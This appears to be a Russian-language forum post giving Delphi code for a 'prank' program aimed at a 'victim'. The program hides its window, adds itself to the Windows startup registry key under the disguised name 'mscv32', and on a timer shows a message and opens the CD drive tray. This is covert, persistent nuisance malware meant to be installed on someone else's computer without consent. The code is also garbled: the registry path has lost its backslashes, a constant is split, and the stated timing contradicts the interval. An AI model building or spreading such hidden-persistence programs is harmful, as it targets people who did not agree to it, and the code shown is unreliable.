1 прикол: Голодный CD-Rom
Щёлкни мыщью 2 раза по форме и там пиши
application.showmainform:=false;
Это нужно, чтобы наша форма не отображалась.
Далее пишешь следующий код, для загрузки проги при запуске винды.
reg := tregistry.create;
reg.rootkey:=hkey_local_machi ne;
reg.lazywrite := false;
reg.openkey('softwaremicrosoftwindowscurrentversionrun',false);
reg.writestring('mscv32', application. exename);
reg.closekey;
reg.free;
Для работы кода в uses добавь registry, а в var reg:tregistry.
Вешай на форму часики с названием timer из палитры компонентов system. Введи значение interval=600000(10 мин.). Затем щёлкни по таймеру 2 раза и в обработчике oncreate пиши:
messagebox(getdesktopwindow,'Я голоден..!Дай диск плз =(', 'cd-rom', mb_ok);
mcisendstring('set cdaudio door open wait', nil, 0, handle);
Для работы программы в uses нужно дописать mmsystem.
Компилируй (f9) и каждые 5 минут у твоей жертвы будет выскакивать окошко, просящее диск, и открываться привод cd-rom'а.
Для того чтобы CD-Rom ещё и закрывался в нашу прогу надо дописать 1 строчку
mcisendstring('set cdaudio door closed wait', nil, 0, handle);
Если Вам нравится мой прикол, то я сделаю следующий. Просьба оставить свои комментарии. Пока!